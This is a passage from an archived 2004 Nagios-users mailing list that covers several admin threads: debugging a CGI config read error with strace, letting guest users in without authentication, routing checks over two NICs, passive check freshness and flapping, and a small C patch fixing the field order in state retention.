still getting an error message saying that the file >>cannot be opened for reading on most of the pages in the website. I do >>have the website working, but I cannot get this file (At least, but >>the other *.cfg files may have errors also). I was wondering, at first >>at least, does any one know of any FAQ pages or such that may help >>with this error? I will gladly read through any suggestions that can >>come my way to help. Any information will be greatly appreciated. >> > > Log on to the system as the user nagios and the web-server is running > and and try to 'cat' the file. > > If you can, I'm pretty sure you've made a typo or something in > nagios.cfg, or that you have moved your nagios installation to some > other directory than you initally had it (--prefix option to ./configure). > > If you can't (which I think might be the case), the user may not have > execute permissions for one or more of the directories above it in the > path (execute permissions on unix-systems means 'access to files and > directories in it', whereas reading permissions means 'access to > directory listing when coupled with execute permissions', basically). > > -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null --------- nobody at MRTG:/usr/local/nagios/share/cgi-bin$ export REQUEST_METHOD=GET nobody at MRTG:/usr/local/nagios/share/cgi-bin$ export QUERY_STRING="host=all" nobody at MRTG:/usr/local/nagios/share/cgi-bin$ export REMOTE_USER="dadams" nobody at MRTG:/usr/local/nagios/share/cgi-bin$ strace ./config.cgi 2>&1 execve("./config.cgi", ["./config.cgi"], [/* 29 vars */]) = 0 brk(0) = 0x8068480 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=25711, ...}) = 0 old_mmap(NULL, 25711, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000 close(3) = 0 open("/usr/local/mysql/lib/mysql/libmysqlclient.so.12", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20\215"..., 1024) = 1024 fstat64(3, {st_mode=S_IFREG|0755, st_size=264941, ...}) = 0 old_mmap(NULL, 236672, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4001d000 mprotect(0x40043000, 81024, PROT_NONE) = 0 old_mmap(0x40043000, 81920, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x25000) = 0x40043000 close(3) = 0 open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300]\1"..., 1024) = 1024 fstat64(3, {st_mode=S_IFREG|0755, st_size=1458907, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40057000 old_mmap(NULL, 1268836, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40058000 mprotect(0x40187000, 27748, PROT_NONE) = 0 old_mmap(0x40187000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x12f000) = 0x40187000 old_mmap(0x4018c000, 7268, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4018c000 close(3) = 0 open("/usr/lib/libz.so.1", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\244\30"..., 1024) = 1024 fstat64(3, {st_mode=S_IFREG|0755, st_size=51724, ...}) = 0 old_mmap(NULL, 50320, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4018e000 mprotect(0x40199000, 5264, PROT_NONE) = 0 old_mmap(0x40199000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xb000) = 0x40199000 close(3) = 0 open("/lib/libcrypt.so.1", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\n\0\000"..., 1024) = 1024 fstat64(3, {st_mode=S_IFREG|0755, st_size=22862, ...}) = 0 old_mmap(NULL, 182176, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4019b000 mprotect(0x401a0000, 161696, PROT_NONE) = 0 old_mmap(0x401a0000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x4000) = 0x401a0000 old_mmap(0x401a1000, 157600, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x401a1000 close(3) = 0 open("/lib/libnsl.so.1", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 <\0\000"..., 1024) = 1024 fstat64(3, {st_mode=S_IFREG|0755, st_size=87565, ...}) = 0 old_mmap(NULL, 84928, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x401c8000 mprotect(0x401da000, 11200, PROT_NONE) = 0 old_mmap(0x401da000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x11000) = 0x401da000 old_mmap(0x401db000, 7104, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x401db000 close(3) = 0 open("/lib/libm.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0006\0"..., 1024) = 1024 fstat64(3, {st_mode=S_IFREG|0755, st_size=177047, ...}) = 0 old_mmap(NULL, 140432, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x401dd000 mprotect(0x401ff000, 1168, PROT_NONE) = 0 old_mmap(0x401ff000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x21000) = 0x401ff000 close(3) = 0 open("/usr/lib/libssl.so.0", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\204"..., 1024) = 1024 fstat64(3, {st_mode=S_IFREG|0555, st_size=196624, ...}) = 0 old_mmap(NULL, 200676, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40200000 mprotect(0x4022e000, 12260, PROT_NONE) = 0 old_mmap(0x4022e000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x2d000) = 0x4022e000 close(3) = 0 open("/usr/lib/libcrypto.so.0", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\271\2"..., 1024) = 1024 fstat64(3, {st_mode=S_IFREG|0555, st_size=1029840, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40231000 old_mmap(NULL, 1038840, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40232000 mprotect(0x4031b000, 84472, PROT_NONE) = 0 old_mmap(0x4031b000, 73728, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xe8000) = 0x4031b000 old_mmap(0x4032d000, 10744, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4032d000 close(3) = 0 open("/lib/libdl.so.2", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0P\31\0\000"..., 1024) = 1024 fstat64(3, {st_mode=S_IFREG|0755, st_size=11885, ...}) = 0 old_mmap(NULL, 11524, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40330000 mprotect(0x40332000, 3332, PROT_NONE) = 0 old_mmap(0x40332000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x1000) = 0x40332000 close(3) = 0 munmap(0x40016000, 25711) = 0 brk(0) = 0x8068480 brk(0x8069480) = 0x8069480 brk(0) = 0x8069480 brk(0x806a000) = 0x806a000 open("/usr/local/nagios/etc/cgi.cfg", O_RDONLY|O_LARGEFILE) = 3 fstat64(3, {st_mode=S_IFREG|0666, st_size=21335, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40016000 read(3, "################################"..., 4096) = 4096 read(3, "he interval_length variable.\n# N"..., 4096) = 4096 read(3, " GLOBAL HOST AND SERVICE EVENT H"..., 4096) = 4096 read(3, " is set to 1.\n\nstate_retention_f"..., 4096) = 4096 read(3, "implementing distributed monitor"..., 4096) = 4096 read(3, "ripped from macros before being "..., 4096) = 855 read(3, "", 4096) = 0 close(3) = 0 munmap(0x40016000, 4096) = 0 time([1080677915]) = 1080677915 open("/etc/localtime", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=130, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40016000 read(3, "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\3\0"..., 4096) = 130 close(3) = 0 munmap(0x40016000, 4096) = 0 fstat64(1, {st_mode=S_IFCHR|0720, st_rdev=makedev(136, 0), ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40016000 write(1, "Cache-Control: no-store\n", 24Cache-Control: no-store ) = 24 write(1, "Pragma: no-cache\n", 17Pragma: no-cache ) = 17 write(1, "Last-Modified: Tue, 30 Mar 2004 "..., 45Last-Modified: Tue, 30 Mar 2004 20:18:35 GMT ) = 45 write(1, "Expires: Tue, 30 Mar 2004 20:18:"..., 39Expires: Tue, 30 Mar 2004 20:18:35 GMT ) = 39 write(1, "Content-type: text/html\r\n", 25Content-type: text/html ) = 25 write(1, "\r\n", 2 ) = 2 write(1, "\n", 7 ) = 7 write(1, "\n", 7 ) = 7 write(1, " ) = 46 write(1, "\n", 8<title> ) = 8 write(1, "Configuration\n", 14Configuration ) = 14 write(1, "\n", 9 ) = 9 write(1, "\n", 8 ) = 8 write(1, "\n", 22 ) = 22 write(1, "\n", 1 ) = 1 write(1, " ) = 93 open("common-header.ssi", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory) open("config-header.ssi", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory) write(1, "

Whoops!

\n", 17

Whoops!

) = 17 write(1, "

Err"..., 132

Error: Could not open CGI config file '/usr/local/nagios/etc/cgi.cfg' for reading!

) = 132 write(1, "

\n", 4

) = 4 write(1, "Here are some things you should "..., 70Here are some things you should check in order to resolve this error: ) = 70 write(1, "

\n", 5

) = 5 write(1, "

\n", 4

) = 4 write(1, "

    \n", 5
      ) = 5 write(1, "
    1. Make sure you\'ve installed a"..., 327
    2. Make sure you've installed a CGI config file in its proper location. See the error message about for details on where the CGI is expecting to find the configuration file. A sample CGI configuration file (named cgi.cfg) can be found in the sample-config/ subdirectory of the Nagios source code distribution. ) = 327 write(1, "
    3. Make sure the user your web "..., 97
    4. Make sure the user your web server is running as has permission to read the CGI config file. ) = 97 write(1, "
    \n", 6
) = 6 write(1, "

\n", 5

) = 5 write(1, "

\n", 4

) = 4 write(1, "Make sure you read the documenta"..., 268Make sure you read the documentation on installing and configuring Nagios thoroughly before continuing. If all else fails, try sending a message to one of the mailing lists. More information can be found at http://www.nagios.org. ) = 268 write(1, "

\n", 5

) = 5 open("config-footer.ssi", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory) open("common-footer.ssi", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory) write(1, "\n", 1 ) = 1 write(1, " ) = 93 write(1, "\n", 8 ) = 8 write(1, "\n", 8 ) = 8 munmap(0x40016000, 4096) = 0 exit_group(-2) = ? nobody at MRTG:/usr/local/nagios/share/cgi-bin$ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From kurt.d.werth at baesystems.com Tue Mar 30 22:28:09 2004 From: kurt.d.werth at baesystems.com (Kurt Werth) Date: Tue, 30 Mar 2004 15:28:09 -0500 Subject: allow guest without authentication Message-ID: Someone out there has to have done this already. What are the correct nagios and/or apache settings that will allow a "guest user" to access nagios without having to authenticate, yet at the same time, prompt for authentication anyone attempting to execute a service/host/system command? I've been playing around with basic authentication and default_user_name=guest and still get prompted for username and password. Any assistance would be appreciated. TIA. Kurt ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jlyons30 at yahoo.com Tue Mar 30 23:47:15 2004 From: jlyons30 at yahoo.com (Jon Lyons) Date: Tue, 30 Mar 2004 13:47:15 -0800 (PST) Subject: How to make use of 2 NICs on server instead of 1 In-Reply-To: <4069CC8B.9040106@algonquincollege.com> References: <4069CC8B.9040106@algonquincollege.com> Message-ID: <20040330214715.52418.qmail@web60803.mail.yahoo.com> Yep, guess if you wanted to get fancy you could setup OSPF/or other routing protocol, set each interface with the same cost? However you should check the routing of your network, the traffic may be leaving one interface and return on the other.. :) emily zhou wrote:Hi Sg, Thank you so much for giving this clue. I'd really like to listen to you a little bit more. For sure, if I'll use 2 Nic, they'll be connected to different networks, in our case is in different VLAN. The issue is that I have to manually setup routing table (static path) instead of simply using defaut gateway, which means forcing the Nagios server goes to one Nic for checking one group of hosts; goes to another Nic when checking another group of hosts. Is that correct? Emily Subhendu Ghosh wrote: > On Tue, 30 Mar 2004, emily zhou wrote: > >> Hi, >> I'm using one Solaris box to monitor 200+ boxes >> (Unix/NT/Router/Switch/Printers). On Nagios server, we have 2 NICs, >> right now I only use 1 of them. In order to split the traffic, I >> intend to use 2 networks, but I just wonder how to conduct bunch of >> checks going to 1 Nic and others going to another NIC, does anyone >> have any ideas? >> > > Depends on your software, switch and routing. > > If each nic connects to a different network, then the routing will use > the appropriate nic. > > If they connect to the same network, the OS decides which nic to use. > > Optionally, you can configure load balancing connection to switch - > cisco etherchannel or vlan trunk to carry traffic across both links by > creating a virtual link. > BEGIN-CANIT-VOTING-LINKS ------------------------------------------------------ Teach CanIt if this mail (ID 2724887) is spam: Spam: http://mailgate1.algonquincollege.com/canit/b.php?c=s&i=2724887&m=5e422f5f2465 Not spam: http://mailgate1.algonquincollege.com/canit/b.php?c=n&i=2724887&m=5e422f5f2465 Forget vote: http://mailgate1.algonquincollege.com/canit/b.php?c=f&i=2724887&m=5e422f5f2465 ------------------------------------------------------ END-CANIT-VOTING-LINKS --------------------------------- Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. -------------- next part -------------- An HTML attachment was scrubbed... URL: From cliff at proteris.com Tue Mar 30 23:52:44 2004 From: cliff at proteris.com (Cliff Riggs) Date: Tue, 30 Mar 2004 16:52:44 -0500 Subject: Understanding Passive Checks Message-ID: <9328AAFD-8294-11D8-ACCB-000A95686FB4@proteris.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, With some research and help from the list I got my passive checks using NSCA to work. I'm now trying to interpret the results as I'm seeing quite a bit of flapping. I have freshness checking enabled on the primary as follows: check_service_freshness=1 freshness_check_interval=600 command_check_interval=-1 use_retained_program_state=0 retain_state_information=1 and I have it configured to use the freshness checking commands as described here: http://nagios.sourceforge.net/docs/1_0/distributed.html The primary service definition defines the check_command as "service_is_stale" while the remote cisco-test service definition defines the check_command as "check_ping!100.0,20%!500.0,60%" On the primary system "active_checks_enabled 0" as well. The Nagios event log looks like this: [03-30-2004 16:25:25] SERVICE ALERT: cisco-test;PING;OK;HARD;3;PING OK - - Packet loss = 0%, RTA = 3.48 ms [03-30-2004 16:25:25] SERVICE ALERT: cisco-test;PING;CRITICAL;HARD;3;CRITICAL: Service results are stale! [03-30-2004 16:25:19] EXTERNAL COMMAND: PROCESS_SERVICE_CHECK_RESULT;cisco-test;PING;0;PING OK - Packet loss = 0%, RTA = 3.48 ms [03-30-2004 16:24:25] SERVICE ALERT: cisco-test;PING;CRITICAL;SOFT;2;CRITICAL: Service results are stale! [03-30-2004 16:23:25] SERVICE ALERT: cisco-test;PING;CRITICAL;SOFT;1;CRITICAL: Service results are stale! [03-30-2004 16:22:25] SERVICE ALERT: cisco-test;PING;OK;SOFT;2;PING OK - - Packet loss = 0%, RTA = 3.45 ms [03-30-2004 16:22:25] SERVICE ALERT: cisco-test;PING;CRITICAL;SOFT;1;CRITICAL: Service results are stale! [03-30-2004 16:22:18] EXTERNAL COMMAND: PROCESS_SERVICE_CHECK_RESULT;cisco-test;PING;0;PING OK - Packet loss = 0%, RTA = 3.45 ms [03-30-2004 16:19:25] SERVICE ALERT: cisco-test;PING;OK;HARD;3;PING OK - - Packet loss = 0%, RTA = 3.34 ms As a result, the service is flapping, but the external command check is being correctly received. From what I understand from the timing, the external check is being received, but not read in a timely fashion? Is there something I am missing in this equation? I am especially confused by the timing. It looks like it is using a 60 second check for freshness (which was the default that I changed it from). Either that or the timing is coincidental as this worked fine for the first 21 minutes or so and then started flapping 22 min and 15 seconds after restart. Thanks as usual for your insights! Cliff - -- - -------------------------------------------- Clifford Riggs CCIE #9314, CISSP - -------------------------------------------- Proteris Group LLC Information Security Consultants Trust. Expertise. Results. - -------------------------------------------- www.proteris.com - -------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (Darwin) iD8DBQFAaewsJ3mHWY7troQRAo+FAJ9zFrQFZn0t2kFbClC/gYAYPKdXtwCfTuoW XMgh2Jh98kS9WCLSohCOBgs= =fiOP -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From goddamnit at jen-uine.com Wed Mar 31 00:22:04 2004 From: goddamnit at jen-uine.com (jschmoe) Date: Tue, 30 Mar 2004 16:22:04 -0600 Subject: 1.2 BUG with state retention? Message-ID: <20040330222204.GB21605@alex.locehilios.com> I guess nobody else uses program state retention. I located the bug (the order that the program state info is written/read differs) Here's the patch that fixes the issue: diff -uNr nagios-1.2-orig/xdata/xrddefault.c nagios-1.2/xdata/xrddefault.c --- nagios-1.2-orig/xdata/xrddefault.c Mon Feb 2 17:36:08 2004 +++ nagios-1.2/xdata/xrddefault.c Tue Mar 30 15:17:52 2004 @@ -181,7 +181,7 @@ /* save program state information */ get_program_state_information(&enable_notifications,&execute_service_checks,&accept_passive_service_checks,&enable_event_handlers,&obsess_over_services,&enable_flap_detection,&enable_failure_prediction,&process_performance_data); - snprintf(temp_buffer,sizeof(temp_buffer)-1,"PROGRAM: %d;%d;%d;%d;%d;%d;%d;%d\n",enable_notifications,accept_passive_service_checks,execute_service_checks,enable_event_handlers,obsess_over_services,enable_flap_detection,enable_failure_prediction,process_performance_data); + snprintf(temp_buffer,sizeof(temp_buffer)-1,"PROGRAM: %d;%d;%d;%d;%d;%d;%d;%d\n",enable_notifications,execute_service_checks,accept_passive_service_checks,enable_event_handlers,obsess_over_services,enable_flap_detection,enable_failure_prediction,process_performance_data); temp_buffer[sizeof(temp_buffer)-1]='\x0'; fputs(temp_buffer,fp); -jschmoe > I just upgraded from 1.1 Previously I had program state retention > enabled, and it was working fine. Now it seems broke with 1.2. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From seth at opentechinc.net Wed Mar 31 00:24:17 2004 From: seth at opentechinc.net (Seth Hollen) Date: Tue, 30 Mar 2004 17:24:17 -0500 Subject: unsubscribe seth@opentechinc.net Message-ID: <003301c416a5$cd2c8b80$0500a8c0@tanya1> -------------- next part -------------- An HTML attachment was scrubbed... URL: From seth at opentechinc.net Wed Mar 31 01:01:37 2004 From: seth at opentechinc.net (Seth Hollen) Date: Tue, 30 Mar 2004 18:01:37 -0500 Subject: unsubscribe seth@opentechinc.net Message-ID: <004c01c416ab$04318770$0500a8c0@tanya1> unsubscribe seth at opentechinc.net -------------- next part -------------- An HTML attachment was scrubbed... URL: From jrhett at isite.net Wed Mar 31 02:41:09 2004 From: jrhett at isite.net (Joe Rhett) Date: Tue, 30 Mar 2004 16:41:09 -0800 Subject: allow guest without authentication In-Reply-To: References: Message-ID: <20040331004109.GB22561@isite.net> You can't get there from here. Re-read the section on authentication. If you enable guest access, you are giving away the store. Anything the guest user is a contact for, they have access to manage. On Tue, Mar 30, 2004 at 03:28:09PM -0500, Kurt Werth wrote: > Someone out there has to have done this already. What are the correct nagios > and/or apache settings that will allow a "guest user" to access nagios > without having to authenticate, yet at the same time, prompt for > authentication anyone attempting to execute a service/host/system command? > > I've been playing around with basic authentication and > default_user_name=guest and still get prompted for username and password. > > Any assistance would be appreciated. TIA. > Kurt > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Wed Mar 31 03:43:24 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 30 Mar 2004 20:43:24 -0500 (EST) Subject: unsubscribe seth@opentechinc.net In-Reply-To: <004c01c416ab$04318770$0500a8c0@tanya1> References: <004c01c416ab$04318770$0500a8c0@tanya1> Message-ID: Please go to: http://lists.sourceforge.net/lists/listinfo/nagios-users Enter your email and edit options to unsubscribe. On Tue, 30 Mar 2004, Seth Hollen wrote: > unsubscribe seth at opentechinc.net > > -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From teng at dataway.com Wed Mar 31 08:57:19 2004 From: teng at dataway.com (Tedman Eng) Date: Tue, 30 Mar 2004 22:57:19 -0800 Subject: allow guest without authentication Message-ID: <37ED92F9890FAF4BB947613C66FF8B1AFC71CF@dw-mail.dataway.com> You may be able to get around this by setting nagios to use an unauthenticated guest user and then use your web server's authentication instead. If using Apache, you'll create a .htacess file in /usr/local/nagios/sbin (or wherever you main cgi files live). Then for the unauthenticated guest users, create a separate cgi directory (ie /usr/local/nagios/sbin2) without the htaccess file and put only the status.cgi and tac.cgi in there. -----Original Message----- From: Kurt Werth [mailto:kurt.d.werth at baesystems.com] Sent: Tuesday, March 30, 2004 12:28 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] allow guest without authentication Someone out there has to have done this already. What are the correct nagios and/or apache settings that will allow a "guest user" to access nagios without having to authenticate, yet at the same time, prompt for authentication anyone attempting to execute a service/host/system command? I've been playing around with basic authentication and default_user_name=guest and still get prompted for username and password. Any assistance would be appreciated. TIA. Kurt ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Wed Mar 31 10:29:49 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Wed, 31 Mar 2004 09:29:49 +0100 Subject: How to make use of 2 NICs on server instead of 1 In-Reply-To: <40699063.9020301@algonquincollege.com> References: <40699063.9020301@algonquincollege.com> Message-ID: <406A817D.8000002@exponential-e.com> emily zhou wrote: > Hi, > I'm using one Solaris box to monitor 200+ boxes > (Unix/NT/Router/Switch/Printers). On Nagios server, we have 2 NICs, > right now I only use 1 of them. In order to split the traffic, I > intend to use 2 networks, but I just wonder how to conduct bunch of > checks going to 1 Nic and others going to another NIC, does anyone > have any ideas? There is a set-up specific to Solaris for two NICs on the same LAN. IIRC it's for a failover type scenario (e.g. the two NICs connected to two switches), I'm not sure if it load balences but might be worth checking out. Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Wed Mar 31 10:29:21 2004 From: ae at op5.se (Andreas Ericsson) Date: Wed, 31 Mar 2004 10:29:21 +0200 Subject: Cgi.cfg reading errors In-Reply-To: <000e01c41694$7fb07c60$3c00000a@daninfochi> References: <000e01c41694$7fb07c60$3c00000a@daninfochi> Message-ID: <406A8161.7070403@op5.se> Dan Adams wrote: > ---- LONG POST BELOW ---- > Andreas, > I tried the commands as you had stated and it didn't make much > sense. When I tried it with the grep command as part of it, it did not show > anything but a black line but when I use grep I am used to it just going to > the next prompt if there is nothing to be found, > below (at the bottom of the > e-mail is the output of the commands. Any more ideas? > Yes. Commented (far) below in the strace output. > Dan > > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Andreas > Ericsson > Sent: Sunday, March 28, 2004 4:23 AM > To: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Cgi.cfg reading errors > > > Dan Adams wrote: > >>Andreas, >> I tried that, su to root first then su to both of the users, what >>Nagios is and what the web server is. > > > Only the webserver user needs read-access to the files, and it's path > will not be relative to DocumentRoot. > > You can do the following to see what files it's trying to open and what > happens when it does. First su to the webserver pseudo-user, then run > this little sequence; > export REQUEST_METHOD=GET > export QUERY_STRING="host=all" > export REMOTE_USER="some-authorized-user" > > strace 2>&1 | grep open | less > > You will obviously have to replace some-authorized-user with an > authorized user, and the 'host=all' string may not work with all CGI's. > > If you still can't work it out, post the output of the strace-command > here and I'll probably be able to help you. > Ok. First of all; The 'strace' command executes programs with PTRACE_ENABLE, so that it can 'hook' the system calls (read, write, open, brk etc). This is useful because it shows us which functions are returning bad values. Anyways. Comments below are marked with '::' execve("./config.cgi", ["./config.cgi"], [/* 29 vars */]) = 0 --[ dynamic link loading cut ]-- :: First linux sets up the PTE's brk(0) = 0x8068480 brk(0x8069480) = 0x8069480 brk(0) = 0x8069480 brk(0x806a000) = 0x806a000 :: These are the system calls used when reading a file. open("/usr/local/nagios/etc/cgi.cfg", 